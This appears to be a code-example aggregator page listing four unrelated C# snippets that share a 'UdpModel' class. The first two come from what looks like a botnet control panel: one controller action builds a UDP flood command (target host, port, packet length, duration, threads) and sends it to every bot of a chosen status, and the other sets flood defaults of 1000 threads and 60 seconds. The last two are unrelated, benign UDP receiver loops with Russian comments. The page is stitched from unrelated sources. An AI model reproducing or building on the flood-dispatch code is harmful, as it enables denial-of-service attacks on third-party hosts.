コード例 #1
0
        public async Task <IActionResult> ExecuteUdp(UdpModel model)
        {
            var method = new BaseCommands
            {
                Method = "Udp"
            };
            var Variables = new UdpVariables
            {
                Port   = model.Port,
                Length = model.Length
            };
            var FloodModel = new Server.Commands.BaseFloodModel
            {
                Host         = model.Host,
                Time         = model.Time,
                ThreadstoUse = model.ThreadstoUse,
            };
            var Command = new UdpCommand
            {
                newUdpVariables   = Variables,
                newBaseCommand    = method,
                newBaseFloodModel = FloodModel
            };
            var bots = new GetBotsByStatusQuery
            {
                status = model.Force
            };
            var botlist = await _mediator.Send(bots);

            var response = CommandExecute.TcpConnects(botlist, JsonConvert.SerializeObject(Command).Replace(@"\", ""));

            return(Json(response));
        }
コード例 #2
0
        public IActionResult UdpView()
        {
            var model = new UdpModel
            {
                Length       = 32,
                ThreadstoUse = 1000,
                Time         = 60
            };

            return(PartialView("_Udp", model));
        }
コード例 #3
0
        private void ReceiveDemoData(CancellationToken Token)
        {
            while (true)
            {
                if (Token.IsCancellationRequested)
                {
                    return;
                }

                UdpModel.Handle(GenerateDemoData());
                Logger.Log("Демо данные были обработаны", RecordType.INFO, Source.UDP);
                Thread.Sleep(1000);
            }
        }
コード例 #4
0
        private void ReceiveRealData(CancellationToken Token)
        {
            try
            {
                while (true)
                {
                    if (Token.IsCancellationRequested)
                    {
                        return;
                    }

                    //Кол-во принимаемых байтов
                    int BytesCount = 0;

                    //Получение Ip адреса с которого пришли данные
                    EndPoint RemoteIp = new IPEndPoint(IPAddress.Any, 0);

                    //Принятие данных с udp пакетов
                    do
                    {
                        BytesCount = this.Socket.ReceiveFrom(this.Buffer, ref RemoteIp);
                    }while (this.Socket.Available > 0);

                    IPEndPoint RemoteFullIp = RemoteIp as IPEndPoint;

                    UdpModel.Handle(this.Buffer);

                    Logger.Log(RemoteFullIp.Address.ToString() + ":" + RemoteFullIp.Port.ToString() + "| Данные получены и обработаны", RecordType.INFO, Source.UDP);
                }
            }
            catch (Exception ex)
            {
                Logger.Log(ex.Message, RecordType.ERROR, Source.UDP);
            }
            finally
            {
                this.Stop();
                Logger.Log("Произошла принудительная остановка сокета", RecordType.WARNING, Source.UDP);
            }
        }